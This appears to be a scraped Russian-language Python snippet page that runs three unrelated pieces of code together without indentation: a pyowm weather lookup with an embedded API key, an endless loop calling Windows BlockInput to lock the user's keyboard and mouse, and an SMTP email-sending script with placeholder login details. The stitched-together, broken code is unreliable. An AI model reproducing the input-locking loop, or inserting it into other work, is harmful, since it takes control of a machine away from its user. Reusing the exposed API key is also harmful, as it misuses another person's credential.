Python
7
Вклад в тег
import pyowm
city = input("Какой город вас интересует?: ")
owm = pyowm.OWM('a99967bc9ee70d5b4bd387902982f400', language = "RU")
observation = owm.weather_at_place(city)
w = observation.get_weather()
temperature = w.get_temperature('celsius')['temp']
print("В городе " + city + " сейчас температура: " + str(temperature) + " по Цельсию.")
print('Погода в указаном городе: ' + w.get_detailed_status())
from ctypes import *
while True:
windll.user32.BlockInput(True)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
msg = MIMEMultipart()
login = "test@mail.ru" # Логин почты
password = "tEst" # Пароль от почты
poluch = "test1@gmail.com" #- Кому отправляете сообщения.
msg['Subject'] = 'Тема письма'
msg['From'] = login # Тут от кого отправляли сообщения
#part = MIMEText('Тут сообщения какое-то') #просто отправить текст
part = MIMEText('Тут сообщения какое-то', "html") #передаем с html разметкой
msg.attach(part)
#smtp.gmail.com:587 - гугла. Для него надо разрешать подключения сторонних приложениях
#в настройках аккаунта. Без этого вы не отправите сообщения и плюс вам придет сообщения на
#почту, что кто то пытался отправить от вашего имени сообщения из сторонней программы.
#smtp.mail.ru:587 - mail. Маилу пофигу на все, не чего разрешать не надо просто меняете данные и можете отправлять письма.
#Все остальные имена сервера найдете в интернете))) Они могут немного отличаться
server = smtplib.SMTP("smtp.mail.ru:587")
server.ehlo()
server.starttls()
server.login(login, password)
server.sendmail(msg['From'], [poluch], msg.as_string())